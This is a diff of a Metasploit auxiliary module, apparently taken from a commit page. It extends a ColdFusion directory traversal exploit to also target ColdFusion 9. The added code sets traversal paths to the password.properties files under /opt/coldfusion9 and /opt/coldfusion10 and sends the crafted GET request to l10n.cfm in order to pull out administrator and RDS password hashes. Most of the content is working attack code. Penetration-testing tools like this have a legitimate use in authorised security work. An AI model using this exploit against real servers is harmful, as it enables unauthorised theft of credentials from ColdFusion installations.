@@ -14,26 +14,36 @@ class Metasploit3 < Msf::Auxiliary
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => "ColdFusion 10 'password.properties' Hash Extraction" ,
17
+ 'Name' => "ColdFusion 'password.properties' Hash Extraction" ,
18
18
'Description' => %q{
19
19
This module uses a directory traversal vulnerability to extract information
20
- such as password, rdspassword, and "encrypted" properties.
20
+ such as password, rdspassword, and "encrypted" properties. This module has been
21
+ tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the
22
+ target ColdFusion version.
21
23
} ,
22
24
'References' =>
23
25
[
24
- [ 'EDB' , '25305' ] ,
26
+ [ 'OSVDB' , '93114' ] ,
27
+ [ 'EDB' , '25305' ]
25
28
] ,
26
29
'Author' =>
27
30
[
28
31
'HTP' ,
29
32
'sinn3r'
30
33
] ,
31
34
'License' => MSF_LICENSE ,
35
+ 'Actions' =>
36
+ [
37
+ [ 'ColdFusion10' ] ,
38
+ [ 'ColdFusion9' ]
39
+ ] ,
40
+ 'DefaultAction' => 'ColdFusion 10' ,
32
41
'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
33
42
) )
34
43
35
44
register_options (
36
45
[
46
+ Opt ::RPORT ( 8500 ) ,
37
47
OptString . new ( "TARGETURI" , [ true , 'Base path to ColdFusion' , '/' ] )
38
48
] , self . class )
39
49
end
@@ -43,6 +53,14 @@ def peer
43
53
end
44
54
45
55
def run
56
+ filename = ""
57
+ case action . name
58
+ when 'ColdFusion10'
59
+ filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
60
+ when 'ColdFusion9'
61
+ filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
62
+ end
63
+
46
64
res = send_request_cgi ( {
47
65
'method' => 'GET' ,
48
66
'uri' => normalize_uri ( target_uri . path , 'CFIDE' , 'adminapi' , 'customtags' , 'l10n.cfm' ) ,
@@ -51,7 +69,7 @@ def run
51
69
'vars_get' => {
52
70
'attributes.id' => 'it' ,
53
71
'attributes.file' => '../../administrator/mail/download.cfm' ,
54
- 'filename' => '../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties' ,
72
+ 'filename' => filename ,
55
73
'attributes.locale' => 'it' ,
56
74
'attributes.var' => 'it' ,
57
75
'attributes.jscript' => 'false' ,
0 commit comments